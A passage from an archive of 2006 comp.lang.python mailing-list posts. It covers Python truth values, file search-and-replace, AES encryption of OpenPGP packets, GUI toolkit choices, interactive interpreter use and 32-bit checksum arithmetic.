obj.do_something(): # It succeeded else: # It failed; obj.get_error_reason() can be called if you want to know why This has an API that is closer to my ideal True/False, but requires me to maintain error state inside an object. I'd rather not keep extra state around if I don't absolutely have to. 3. error = do_something() if error: # It failed else: # It succeeded This is nice and simple but suffers from cognitive dissonance in that the function returns True (or an object evaluating to True) for failure. 4. The preferred approach works like this: if do_something(): # Succeeded else: # Failed BUT this works too... ok = do_something() if ok: # Succeeded else: # ok.reason has extra information reason = ok.reason This can be implemented by returning an object from do_something() that has a __nonzero__ method that makes it evaluate to False. This solves my problem almost perfectly, but has the disadvantage that it operates counter to developer expectations (normally an object that evaluates to False is 'empty'). I know I should probably just pick one of the above and run with it, but I thought I'd ask here to see if I've missed a more elegant solution. Thanks, Simon From donn at u.washington.edu Fri Oct 27 13:24:32 2006 From: donn at u.washington.edu (Donn Cave) Date: Fri, 27 Oct 2006 10:24:32 -0700 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: In article , Antoon Pardon wrote: ... > I think you are incorrect. Thanks! I rest my case! > And how do I express that a number has to be greater than > 100 into a Nothing vs Something dichotomy? Declare all > greater numbers as Something and the rest as Nothing? Well, would you declare numbers less than 100 False? Think about it in more philosophical terms. What is Truth? The Internet Encyclopedia of Philosophy may be some help with this - http://www.iep.utm.edu/t/truth.htm Then when you get tired of that, suppose that "if" and "while" are asking for "yes" and "no", instead of "true" and "false", and ask yourself if we have the philosophical problems with "yes" that we do with "true". Donn Cave, donn at u.washington.edu From bj_666 at gmx.net Thu Oct 26 17:45:56 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 26 Oct 2006 23:45:56 +0200 Subject: Search & Replace References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> Message-ID: In <1161898031.481159.202310 at f16g2000cwb.googlegroups.com>, DataSmash wrote: > I need to search and replace 4 words in a text file. > Below is my attempt at it, but this code appends > a copy of the text file within itself 4 times. Because you `write()` the whole text four times to the file. Make the 4 replacements first and rebind `text` to the string with the replacements each time, and *then* write the result *once* to the file. > # Search & Replace > file = open("text.txt", "r") > text = file.read() > file.close() > > file = open("text.txt", "w") text = text.replace("Left_RefAddr", "FromLeft") text = text.replace("Left_NonRefAddr", "ToLeft") # ... file.write(text) file.close() Ciao, Marc 'BlackJack' Rintsch From emlyn at brizzle.com Tue Oct 24 07:28:56 2006 From: emlyn at brizzle.com (ml1n) Date: 24 Oct 2006 04:28:56 -0700 Subject: Python Crytographic Toolkit, AES and OpenPGP Message-ID: <1161689336.241761.8890@h48g2000cwc.googlegroups.com> Hello, Does anybody have an example of using Crypto.Cipher.AES to encrypt an OpenPGP literal data packet? I can't get MODE_PGP to work at all (gpg doesn't recognise the unencrypted packet), with MODE_CFB gpg correctly identifies the packet after decryption but it's body is incorrect (suggesting the first 2 bytes decrypt/encrypt ok but the rest doesn't?). I know the plain text version of the packet is ok because I can add it to the stream without encryption and gpg will process it ok. Here is what I'm trying (text is the pre constructed packet): aes_obj = Crypto.Cipher.AES.new(self.sessionKey,Crypto.Cipher.AES.MODE_CFB,"\x00"*16) padding = self.randPool.get_bytes(Crypto.Cipher.AES.block_size) padding = "%s%s" % (padding,padding[-2:]) self.enc_text = aes_obj.encrypt("%s%s" % (padding,text)) I'm sure I'm missing something obvious, Any pointers gratefully recieved. Thanks. M. From robert.kern at gmail.com Wed Oct 25 15:19:34 2006 From: robert.kern at gmail.com (Robert Kern) Date: Wed, 25 Oct 2006 14:19:34 -0500 Subject: question about True values In-Reply-To: References: Message-ID: John Salerno wrote: > I'm a little confused. Why doesn't s evaluate to True in the first part, > but it does in the second? Is the first statement something different? > > >>> s = 'hello' > >>> s == True > False > >>> if s: > print 'hi' > > > hi > >>> They are, indeed, quite different things. Finding the truth value of an object is not the same thing as testing if the object is equal to the object True. When people use the phrase "evaluate to True" in the context of an if: statement, they mean that the truth value of the object (found using the special method .__nonzero__()) is True, not that it is equal to True. It's a bit of an abuse on the English language, but what isn't in software? -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From kay.schluehr at gmx.net Fri Oct 20 03:48:22 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 20 Oct 2006 00:48:22 -0700 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: <1161330502.088717.50860@f16g2000cwb.googlegroups.com> > The Ruby approach makes sense to me as a human being. http://happyfuncog.blogspot.com/2006/09/confessions-of-pseudo-misanthrope.html > The Python approach is not easy for me (as a human being) to remember. I always thought we Pythonistas are already idiots but whenever I meet a Rubist it ( the human being ) appears completely retarded to me. From myddrin at myddrin.com Wed Oct 4 19:12:30 2006 From: myddrin at myddrin.com (Rob Knapp) Date: Wed, 04 Oct 2006 19:12:30 -0400 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: <1160003550.5086.33.camel@localhost.localdomain> On Wed, 2006-10-04 at 16:21 -0400, gord wrote: > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). > Ok, this is probably a little long but I always enjoy telling this story and I think it will answer you question in terms of usability. I got started using python on windows, back when I was largely a VB & VC ++ developer (6.0). (With a little java, some php and bunch of other less important languages.) I was working on a large project (developing a videoconferencing suite), and we had several options for how our proprietary protocol would handle relay selection for each connection. The system used a STUN-like relay system and we knew performance would be significantly enhanced if this connection was routed through a relay "close" to one party or the other. However, there is a distinct disconnect between "close" in the real world and "close" on the internet... and that can change from moment to moment based on the conditions between the two points. So we came up with three or four different algorithms for it and the discussion (as developer discussions sometimes do) devolved into a flamewar. So, I decided to write a program that would simulate each algorithm, and then subject that simulation to various network effects. Having heard over and over and over how great python was, I decided to write it in that. I scheduled 2 days to write the simulator, and it took me less than an hour! (Mind you, that was learning the basics of the language and writing a simulator.) I called a meeting, ran the simulator through its paces and well all decided on a solution. Few weeks later, we needed to embed small scripts into the system....we played with a bunch of different languages and ended up deciding on python. Then we needed something that would let us actually put together a UI and actually let us embed that UI in activex controls, java applications, VB programs, etc. Again, we looked at the options and chose python. This time using PyQT to provide the UI widgets, event driven programming and so forth. One of the deciding factors was that if we really needed to optimize any part of the UI code, we could re-implement that subsection in C/C++ for an extra speed boost...which we never had to do. So basically, that one little simulator took a pure C++ project and turned it into a bunch of C++ modules held together by python glue. Which ended up giving us a really flexible AND maintainable design. Since then I've pretty much been a dedicated python developer, except for those places where there is a very specific need that python doesn't meet... which is surprisingly rare. There are a few IDE-like python editors that run on windows, BlackAdder, Eric, and a bunch of others. (If I forgot your favorite, I'm sorry....) The real advantage here over, say the Visual Studio stuff, is that you can choose which one you want, rather than being stuck with an development environment that may or may not suit your working style. (After using python for a few months, I basically stopped using IDEs as I found it more productive for me personally to use Emacs...) Between that and the language's emphasis on developer productivity, there is a world of difference between python and the big three. (Which ever big three you pick.) I was a pretty productive programmer with VB/VC++/etc, usually one of the most productive members of whatever team I was on. But now that I've made the switch to python, I'm several orders of magnitude more productive in terms of actually writing the code. Which means that I can take more time to design my code for easier maintainability in the future. > Please discuss where Python shines. > Gord > > From mike$#at^&nospam!%trausch(*%)us Tue Oct 17 16:42:23 2006 From: mike$#at^&nospam!%trausch(*%)us (*%) Date: Tue, 17 Oct 2006 16:42:23 -0400 Subject: Python Web Site? Message-ID: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Is there a problem with the Python and wxPython web sites? I cannot seem to get them up, and I am trying to find some documentation... Thanks, Mike From jmdeschamps at gmail.com Fri Oct 20 18:14:59 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 20 Oct 2006 15:14:59 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <1161382499.463378.282830@m7g2000cwm.googlegroups.com> Kevin Walzer wrote: > I'm a Tcl/Tk developer who has been working, slowly, at learning Python, > in part because Python has better support for certain kinds of > applications that I want to develop than Tcl/Tk does. Naturally, I > thought that I would use Tkinter as the GUI for these programs. However, > in doing research into GUI development techniques, sample code, and > showcase applications, what has struck me is how little sophisticated > GUI development seems to be done in Tkinter as compared to, say, > wxPython. I've found plenty of tutorials on how to do basic GUI stuff > with Tkinter, but that stuff pretty much ends with the core Tk widgets > (buttons, entry fields, scrollbars, and menu items). > > Coming from Tcl/Tk, where there are a huge number of extension packages > to enhance the Tk widgets and which allow you to make really polished > GUI's, I'm struck mainly by how little of this stuff has made it over > into Tkinter/Python. For instance, I've developed several Tcl > applications that use the core Tk widgets, the Tile theming package, the > Bwidget set (great tree widget and listbox, which allows you to embed > images), and tablelist (an extremely flexible muti-column listbox > display). I've found Python wrappers for some of this stuff, but almost > no documentation on how to use them, and very little in the way of > actual applications making use of them--which is itself a red flag. And > most of the pure-Python extension stuff that I've found, such as Python > megawidgets, is pretty dated/ugly and lags far behind the comparable > stuff on the Tcl side. > > Am I better off biting the bullet and learning wxPython--a different GUI > paradigm to go with the new language I'm trying to learn? I had hoped to > reduce my learning curve, but I'm very concerned that I simply can't do > what I want to do with Tkinter. What do other Tkinter developers think? Tkinter is certainly dated (?), worst than PMW which is built upon it. But what do you what/need? I use , and am making my students use Tkinter for a web multiu-user client-server XXXX game. The Canvas is a great object, but you have to write the code yourself, if you want a special look. Eye-candy, Tkinter ain't, and it doesn't have a lot of sophisticated widgets (again ?) . I wanted a tabbed pane last year and made myself one (not the exact look of others, but functional if what you want is multiple frames of widgets for each tab; the table widget took quite a bit of doing, also and it's not an Excel spreadsheet) I do know that people are impressed by glitz and glamour (And I don't have a nice tree (with picture) widget) But all of this does forget that Tkinter is still in the standard library, while all others are third-party add-ons... so there is a extra hassle with them... So, what do You want? (widgets, criterias etc) Jean-Marc From phpxer at gmail.com Tue Oct 17 00:48:13 2006 From: phpxer at gmail.com (zhaoren liu) Date: Tue, 17 Oct 2006 12:48:13 +0800 Subject: No subject Message-ID: -------------- next part -------------- An HTML attachment was scrubbed... URL: From http Fri Oct 13 00:07:40 2006 From: http (Paul Rubin) Date: 12 Oct 2006 21:07:40 -0700 Subject: Sending binary pickled data through TCP References: Message-ID: <7xfyds2703.fsf@ruckus.brouhaha.com> David Hirschfield writes: > Is there a reliable way to determine the byte count of some pickled > binary data? Can I rely on len() == bytes? Huh? Yes, of course len gives you the length. As for the network representation, DJB proposes this format: http://cr.yp.to/proto/netstrings.txt From fredrik at pythonware.com Tue Oct 31 03:25:30 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 09:25:30 +0100 Subject: Python windows interactive. In-Reply-To: <1162253732.035128.91060@e3g2000cwe.googlegroups.com> References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> <45467205.3000302@websafe.com> <1162253732.035128.91060@e3g2000cwe.googlegroups.com> Message-ID: notejam wrote: > Can not figure out how to write more than one line in interpreter mode. press return between the lines. if you get a "..." prompt, keep adding more lines to the current statement. press return an extra time to end the multiline-statement. > Is that all interpreter is good for, testing one liners? I have it > run the program everytime I hit return no, it executes the *current statement* when you press return. a program consists usually consists of many statements. > and can not figure out how to enter multiple lines of code. if you'd entered a statement that actually consisted of multiple lines, you'd noticed (try entering an "if"-statement, for example). > I am jsut wondering can a program with 2 or more lines > be wrote from the interpreter mode? Type "help", "copyright", "credits" or "license" for more information. >>> import urllib >>> def gettitle(url): ... f = urllib.urlopen(url) ... s = f.read() ... i = s.find("") ... j = s.find("", i) ... return s[i+7:j] ... >>> gettitle("http://www.python.org") 'Python Programming Language -- Official Website' >>> gettitle("http://www.cnn.com") 'CNN.com - Breaking News, U.S., World, Weather, Entertainment & Video News' >>> sites = ["http://news.bbc.co.uk", "http://reddit.com", ... "http://www.fbi.gov" ... ] >>> for site in sites: ... print gettitle(site) ... BBC NEWS | News Front Page reddit.com: what's new online Federal Bureau of Investigation - Home Page >>> etc. From johnjsal at NOSPAMgmail.com Fri Oct 20 16:20:11 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 20:20:11 GMT Subject: why does this unpacking work In-Reply-To: <1161373003.141096.277510@i42g2000cwa.googlegroups.com> References: <1161373003.141096.277510@i42g2000cwa.googlegroups.com> Message-ID: <%ba_g.133$1n3.3373@news.tufts.edu> johnzenger at gmail.com wrote: > It's just sequence unpacking. Did you know that this works?: > > pair = ("California","San Francisco") > state, city = pair > print city > # 'San Francisco' > print state > # 'California' Yes, I understand that. What confused me was if it had been written like this: pair = (("California","San Francisco")) From Martin.Drautzburg at web.de Mon Oct 9 15:40:58 2006 From: Martin.Drautzburg at web.de (Martin Drautzburg) Date: Mon, 09 Oct 2006 21:40:58 +0200 Subject: Everything is a distributed object Message-ID: Hello all, I've seen various attempts to add distributed computing capabilities on top of an existing language. For a true distributed system I would expect it to be possible to instantiate objects of a remote class or to subclass a remote class and other stuff like this. My impression is that those things are difficult when built on top of an existing language. Since the paradigm "everything is an object" pays so well, I thought it might be less painful to implement a distributed system from ground up, starting with the paradigm: "everything is a distributed object". Do you know if such a thing has been attempted with python, i.e. by hacking the python core and add new capabilities to "object". Or do you think that this is really a silly idea ? From R.Brodie at rl.ac.uk Tue Oct 17 09:39:39 2006 From: R.Brodie at rl.ac.uk (Richard Brodie) Date: Tue, 17 Oct 2006 14:39:39 +0100 Subject: Tertiary Operation References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: "abcd" wrote in message news:1161091832.088769.279630 at b28g2000cwb.googlegroups.com... >x = None > result = (x is None and "" or str(x)) > > ...what's wrong with the first operation I did with x? I was expecting > "result" to be an empty string, not the str value of None. Your evil tertiary hack has failed you because the empty string counts as false in a boolean context. Please learn to love the new conditional expression syntax: http://docs.python.org/whatsnew/pep-308.html From grflanagan at yahoo.co.uk Mon Oct 2 09:14:14 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 2 Oct 2006 06:14:14 -0700 Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> Message-ID: <1159794854.752892.233110@m7g2000cwm.googlegroups.com> Will McGugan wrote: > I am writting a Vector3D class as a teaching aid (not for me, for > others), and I find myself pondering over the __init__ function. I want > it to be as easy to use as possible (speed is a secondary > consideration). > > Heres the __init__ function I have at the moment. > > class Vector3D(object): > > __slots__ = ('x', 'y', 'z') > > def __init__(self, x_or_iter=None, y=None, z=None): > > if x_or_iter is None: > self.x = self.y = self.z = 0 > elif z is None: > it = iter(x_or_iter) > self.x = float(it.next()) > self.y = float(it.next()) > self.z = float(it.next()) > else: > self.x = float(x_or_iter) > self.y = float(y) > self.z = float(z) > > A Vector3D can be constructed in 3 ways. If no parameters are given it > assumes a default of (0, 0, 0). If one parameter is given it is assumed > to be an iterable capable of giving 3 values. If 3 values are given > they are assumed to be the initial x, y, z. > here's a slightly different approach: class Vector3D(object): __slots__ = ('x', 'y', 'z') def __init__(self, X1=None, X2=None, X3=None): if X3 is not None: #assume 3 numbers self.x = X1 self.y = X2 self.z = X3 else: X1 = X1 or (0,0,0) X2 = X2 or (0,0,0) self.x = X1[0] - X2[0] self.y = X1[1] - X2[1] self.z = X1[2] - X2[2] def __getitem__(self, index): return getattr(self,self.__slots__[index]) def __str__(self): return '(%s, %s, %s)' % (self.x, self.y, self.z ) u = Vector3D() print u u = Vector3D(3,4,5) print u u, v = Vector3D( [1,2,3] ), Vector3D( (3,2,1) ) print u, v w = Vector3D( u,v ) print w w = Vector3D( u, (2,2,2)) print w (0, 0, 0) (3, 4, 5) (1, 2, 3) (3, 2, 1) (-2, 0, 2) (-1, 0, 1) Gerard From bjobrien62 at gmail.com Sat Oct 7 17:24:10 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 7 Oct 2006 14:24:10 -0700 Subject: operator overloading + - / * = etc... Message-ID: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Can these operators be overloaded? If so. How? From gagsl-py at yahoo.com.ar Fri Oct 27 23:02:50 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Sat, 28 Oct 2006 00:02:50 -0300 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061027234001.0454a1e0@yahoo.com.ar> At Friday 27/10/2006 23:13, Steve Holden wrote: >J. Clifford Dyer wrote: > > the one thing that Ms. Creighton points out that I can't get past is > > that Python, even with its bool type, *still* evaluates somethingness > > and nothingness, and True and False are just numbers with hats on. > > > > >>> True + 3 > > 4 > > >>> bool(True-1) > > False > > >>> bool(True-2) > > True > > >>> (10 > 5) + (10 < 5) > > 1 >Seems pretty clear to me that the situations you discuss above involve >numeric coercions of a Boolean value. A "true" Boolean value should not be coerced into any other thing. True+1 is as meaningless as "A"+1, or even "1"+1. The fact is, bool is just an integer in disguise. I always regretted that Python just went mid-way moving onto a true Boolean type; I'd prefer it to stay as it was before bool was introduced. > > Python is not evaluating the truth of the matter, but, as Ms. Creighton > > would say, the "somethingness" of that which 10 > 5 evaluates to. (1 > > aka True) > > > >>> type(10>5) > > >>> >>> bool.__mro__ (, , ) >It does seem that there is a specific type associated with the result of >a comparison, even though you would really like to to be "a number with >a hat on". It *is* an integer with a hat on. >>> isinstance(True,int) True -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From ebgssth at gmail.com Thu Oct 12 04:45:27 2006 From: ebgssth at gmail.com (js ) Date: Thu, 12 Oct 2006 17:45:27 +0900 Subject: prefix search on a large file Message-ID: Hello, list. I have a list of sentence in text files that I use to filter-out some data. I managed the list so badly that now it's become literally a mess. Let's say the list has a sentence below 1. "Python has been an important part of Google since the beginning, and remains so as the system grows and evolves. " 2. "Python has been an important part of Google" 3. "important part of Google" As you see sentence 2 is a subset of sentence 1 so I don't need to have sentence 1 on the list. (For some reason, it's no problem to have sentence 3. Only sentence that has the "same prefix part" is the one I want to remove) So I decided to clean up the list. I tried to do this simple brute-force manner, like --------------------------------------------------------------------------- sorted_list = sorted(file('thelist'), key=len) for line in sorted_list[:] unneeded = [ line2 for line2 in sorted_list[:] if line2.startswith(line) ] sorted_list = list(set(sorted_list) - (unneeded)) .... --------------------------------------------------------------------------- This is so slow and not so helpful because the list is so big(more than 100M bytes and has about 3 million lines) and I have more than 100 lists. I'm not familiar with algorithms/data structure and large-scale data processing, so any advice, suggestions and recommendations will be appreciated. Thank you in advance. From grante at visi.com Wed Oct 11 11:19:10 2006 From: grante at visi.com (Grant Edwards) Date: Wed, 11 Oct 2006 15:19:10 -0000 Subject: OT: Sarcasm and irony References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> <12iq1dkhbudd9d7@corp.supernews.com> <1160579100.680703.165390@h48g2000cwc.googlegroups.com> Message-ID: <12iq2rebvrmcr19@corp.supernews.com> On 2006-10-11, mensanator at aol.com wrote: > > Grant Edwards wrote: >> On 2006-10-11, mensanator at aol.com wrote: >> >> >> Like Alanis Morisette said about the song "Isn't it Ironic": >> >> What's ironic about the song is that it doesn't actually >> >> contain any irony. >> > >> > Any? Don't people plan June weddings thinking the weather >> > will be nice? And isn't one of the defintions of irony when >> > things turn out the opposite of what you expect? >> >> Not really, no. > > American Heritage Dictionary: > irony: 4. Incongruity between what might be expected to happen > and what actually occurs. Yup, you're right. That seems to be a usage frowned upon by old-school types, but it appears to have become common enough that it's made it into dictionaries. -- Grant Edwards grante Yow! How's it going in at those MODULAR LOVE UNITS?? visi.com From xah at xahlee.org Sun Oct 29 01:55:29 2006 From: xah at xahlee.org (Xah Lee) Date: 28 Oct 2006 22:55:29 -0700 Subject: what are the most frequently used functions? In-Reply-To: References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com> Message-ID: <1162101329.856825.186110@e64g2000cwd.googlegroups.com> Barry Margolin wrote: ? For Lisp, just look for symbols that are immediately preceded by ( ...? Thanks a lot! great thought. I've done accordingly, which counts satisfactorily. http://xahlee.org/emacs/function-frequency.html Will take a break and think about Perl, Python, Java later... For Python and Java, i think the report will also have to count method call since that what these langs deal with... slightly quite more complex than just functional langs... Xah xah at xahlee.org ? http://xahlee.org/ From roy at panix.com Sun Oct 8 09:30:42 2006 From: roy at panix.com (Roy Smith) Date: Sun, 08 Oct 2006 09:30:42 -0400 Subject: need some regular expression help References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160258429.883224.285830@i3g2000cwc.googlegroups.com> <1160297390.242124.260770@i3g2000cwc.googlegroups.com> Message-ID: "Diez B. Roggisch" wrote: > Certainly true, and it always gives me a hard time because I don't know > to which extend a regular expression nowadays might do the job because > of these extensions. It was so much easier back in the old times.... What old times? I've been working with regex for mumble years and there's always been the problem that every implementation supports a slightly different syntax. Even back in the "good old days", grep, awk, sed, and ed all had slightly different flavors. From wdraxinger at darkstargames.de Sat Oct 28 20:08:34 2006 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Sun, 29 Oct 2006 02:08:34 +0200 Subject: Safely renaming a file without overwriting References: <72sb14-08j.ln1@darkstargames.dnsalias.net> Message-ID: <318d14-t8e.ln1@darkstargames.dnsalias.net> Steven D'Aprano wrote: > But the source file always exists, otherwise there is nothing > to rename! Do you mean, open the destination filename? Of course I meant the destination file. Someone please spill some ice chilled water over me to get me awake again. Time to go to bed :-P before I make more dumb mistakes/typos... Wolfgang Draxinger -- E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867 GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E From http Thu Oct 12 03:27:09 2006 From: http (Paul Rubin) Date: 12 Oct 2006 00:27:09 -0700 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <7xslhuxg6w.fsf@ruckus.brouhaha.com> Message-ID: <7xpscyf0z6.fsf@ruckus.brouhaha.com> Fredrik Lundh writes: > >> Ok, I'll bite. How do you compute the median of a list using just > >> a single temp var? > > Well there's an obvious quadratic-time method... > > that does it without modifying the list? > > if you can modify the list, there are plenty of algorithms that does > it in expected O(n) or better, but I cannot think of a one that > doesn't use at least a few variables (e.g. two list indexes and a pivot). Hmm, whoops, I didn't count the list index for the quadratic time version (but that version shouldn't need to modify the list). If you can modify the list, let's see, you can swap two elements with no temp vars: a[i] ^= a[i+1] a[i+1] ^= a[i] a[i] ^= a[i+1] This assumes an indexed addressing mode so finding a[i+1] doesn't require using a temp var to hold (i+1). Let's say the list length is n, which is not a variable, and constant expressions like n-1 are also not variables. I'm still envisioning some reasonable type of assembly code. So now we can straightforwardly sort the list with one index var and one flag bit: flag = True while flag: flag = False for i in 0..(n-2): if a[i] > a[i+1]: swap a[i], a[i+1] as above flag = True and then pick the median out of the middle. > but I haven't had enough coffee yet, so I'm probably missing something > simple here. Yeah, it's night here, maybe after I get some sleep I'll look for a way to get rid of the flag bit above. From onurb at xiludom.gro Tue Oct 17 11:04:45 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 17 Oct 2006 17:04:45 +0200 Subject: Tertiary Operation In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: <4534f10e$0$8672$426a74cc@news.free.fr> abcd wrote: > x = None > result = (x is None and "" or str(x)) You don't need the parenthesis. > print result, type(result) > > --------------- > OUTPUT > --------------- > None > > > y = 5 > result = (y is 5 and "it's five" or "it's not five") By all means *don't* use identity tests in such a context. Try with 100000 instead of 5: >>> x = 100000 >>> x is 100000 False >>> > print result > > ------------- > OUTPUT > ------------- > it's five > > ...what's wrong with the first operation I did with x? I was expecting > "result" to be an empty string, not the str value of None. As other already pointed, an empty string (as well as an empty list, tuple, dict, set IIRC, and zero int or float) evals to False in a boolean context. Python 2.5 has a ternary operator. If you need to deal with older Python versions, another possible 'ternary op hack' is : x = None (str(x), "")[x is None] => "" x = 42 (str(x), "")[x is None] => "42" This relies on the fact that False == 0 and True == 1. NB : if you don't want to eval both terms before (which is how it should be with a real ternanry operator), you can rewrite it like this: result = (str, lambda obj:"")[x is None)(x) But this begins to be unreadable enough to be replaced by a good old if/else... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fredrik at pythonware.com Tue Oct 24 01:57:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 07:57:43 +0200 Subject: How to get each pixel value from a picture file! In-Reply-To: References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> Message-ID: Steve Holden wrote: >> 3) pix = im.load() >> print pix[44,55] >> pix[44, 55] = value >> my python cannt identify "[x,y]" ?? >> > > Now what makes you think that an image can be addressed that way? I'd be > quite surprised if yo got anything other than a TypeError doing that. PIL 1.1.6 (still in beta) supports special pixel access objects. earlier versions don't. From fredrik at pythonware.com Tue Oct 10 13:50:44 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 19:50:44 +0200 Subject: operator overloading + - / * = etc... In-Reply-To: <7xwt78ullw.fsf@ruckus.brouhaha.com> References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <7xwt78ullw.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > The symbols on the left side of = signs are called variables even in > Haskell, where they don't "vary" (you can't change the value of a > variable once you have set it). at the language specification level, the things to the left side of = signs are called "targets" in Python. if they are plain identifiers, they're called "names". From robin at reportlab.com Wed Oct 25 13:33:20 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 18:33:20 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <453F9B42.8060401@v.loewis.de> References: <453F3189.5000502@chamonix.reportlab.co.uk> <7xu01s9yoz.fsf@ruckus.brouhaha.com> <453F9B42.8060401@v.loewis.de> Message-ID: <453F9FE0.4010000@chamonix.reportlab.co.uk> Martin v. L?wis wrote: > Robin Becker schrieb: >> def add32(x, y): >> "Calculate (x + y) modulo 2**32" >> return ((x&0xFFFFFFFFL)+(y&0xFFFFFFFFL)) & 0xffffffffL > > That's redundant; it is sufficient to write > > return (x+y) & 0xffffffff > >> def calcChecksum(data): >> """Calculates TTF-style checksums""" >> if len(data)&3: data = data + (4-(len(data)&3))*"\0" >> sum = 0 >> for n in unpack(">%dl" % (len(data)>>2), data): >> sum = add32(sum,n) >> return sum > > That's also redundant; I'd write > > def calcChecksum(data): > data += "\0\0\0\0"[:len(data)&3] > return sum(unpack(">%dl" % (len(data)>>2), data)) & 0xffffffff > > I.e. it is sufficient to truncate to 32 bits at the end, instead of > doing so after each addition. I can see the advantage in the summation case where all the numbers are known positive, however the full problem includes cases where there's an "adjustment" to the sum and that usually ends up like this adjustment = unpack('>l', table[8:8+4])[0] checksum = add32(checksum, -adjustment) so in those cases I just assumed I needed to force the result into the right form before doing the addition. Clearly we can only overflow the 31 bits just once, but don't negative numbers have a potentially infinite number of ones at the top? >>> hex(0xFFFFFFFFL-1) '0xFFFFFFFEL' >>> hex(0xFFFFFFFFL + (-1&0xFFFFFFFFL)) '0x1FFFFFFFEL' so I think maybe I need to fix at least some of the numbers going into the add32 function. -- Robin Becker From webmaster at cacradicalgrace.org Sat Oct 28 11:53:33 2006 From: webmaster at cacradicalgrace.org (J. Clifford Dyer) Date: Sat, 28 Oct 2006 09:53:33 -0600 Subject: PROBLEM with MOD_PYTHON References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> Message-ID: dan84 wrote: > I don't understand this error , in the (Apache) errorlog I read this > message : > > [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import > mod_python.apache.\n > [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being > used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib', > '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk', > 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']". The four backslashes look okay to me, since there are "s outside the list, viz: >>> mylist = [ r'C:\Python24' ] >>> mylist ['C:\\Python24'] >>> repr(mylist) "['C:\\\\Python24']" Back to your question: Where is mod_python located? Is it anywhere in this 